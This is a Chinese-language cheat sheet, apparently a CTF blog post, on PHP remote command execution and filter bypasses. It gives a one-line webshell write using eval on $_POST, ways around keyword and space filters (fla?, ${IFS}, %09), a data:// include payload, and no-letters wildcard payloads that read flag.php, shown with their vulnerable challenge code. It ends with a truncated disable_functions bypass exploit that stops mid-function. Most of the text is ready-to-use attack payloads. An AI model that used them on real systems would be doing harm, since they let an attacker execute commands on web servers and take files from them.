命令执行rec总结"/>
命令执行rec总结
过滤flag,php等关键字
fla?
fla\g
fl*
fla’'g
变量拼接
利用$_POST和$_GET
PHP短标签
控制参数: short_open_tag = On 如果设置为Off,则不能正常解析类似于这样形式的php文件: phpinfo() ?> 而只能解析 <?php phpinfo() ?> 这样形式的php文件 所以要想php支持短标签,需要我们把short_open_tag 设置为On.
<?php 这是完整标签 <? 这是短标签 //php.ini中 short_open_tag = On //除<?php ?>,可使用更灵活的调用方法 <? /*程序操作*/ ?> <?=/*函数*/?>
或者
<script language=”php”>echo“444444444444 <br>”
</script>
如果是替换可以双写绕过
用于执行rce的函数和方法
反引号``与shell_exec作用相同
system执行外部程序,并且显示输出
exec 执行一个外部程序
passthru执行外部程序并且显示原始输出
shell_exec通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
用于读取文件内容的函数和方法
tac
cat
head
tail
more
less
nl
cp flag.php 1.txt
mv
php函数
scandir()
当空格被过滤
${IFS}替换
$IFS$1替换
${IFS替换
%20替换
<和<>重定向符替换
%09水平制表符替换
%0a换行键替换
%0b垂直制表符替换
常用管道符
- “;”:执行完前面的语句再执行后面的语句。
- “|”:显示后面语句的执行结果。| 表示管道,上一条命令的输出,作为下一条命令参数(输入)。
- “||”:当前面的语句执行出错时,执行后面的语句。|| 表示上一条命令执行失败后,才执行下一条命令。
- “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。单一个& 符号,且放在完整指令列的最后端,即表示将该指令列放入后台中工作。
- “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。&& 表示前一条命令执行成功时,才执行后一条命令。
写入木马
echo "<?php @eval(\$_POST['shell']);?>" >> 1.php
echo -e 处理特殊字符
echo命令会调用$_POST导致原始文件中没有,所以要加一个\
include($c.".php");
?c=data://text/plain,<?php system('cat fla?.php')?>
这样也可以执行,因为该语句会先执行<?php system('cat fla?.php')?>然后在加上.php
无字母数字的命令执行
例題:
<?php
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
payload: ?c=/???/???64%20???.???
或者?c=/???/???/???2 ???.??? —》 然后在url + /flag.php.bz2
前置知识:
bin目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
这里我们可以利用 base64 中的64 进行通配符匹配 即 /bin/base64 flag.php 对应的就是/???/???64%20???.???
另外一种payload
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome*、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb*、wget等。
我们可以利用/usr/bin下的bzip2
意思就是说我们先将flag.php文件进行压缩,然后再将其下载
PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数
#h2-0
glob
查找匹配的文件路径模式,是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议
常用bypass方式如下:
<?php
$c="glob:///*";
$a=new DirectoryIterator($c);
foreach($a as $f){
echo($f->$_toString().'<br>');
}
?>
可以用来列举根目录
我们还可以这样来利用查找txt文件
c=
$a=new DirectoryIterator("glob:///*.txt");
foreach($a as $f)
{
echo($f->__toString().' ');
}
exit(0);
若根目录中有一个flag0.txt,可以用脚本读出来
function ctfshow($cmd) {global $abc, $helper, $backtrace;class Vuln {public $a;public function __destruct() { global $backtrace; unset($this->a);$backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace = debug_backtrace();}}}class Helper {public $a, $b, $c, $d;}function str2ptr
更多推荐
命令执行rec总结
发布评论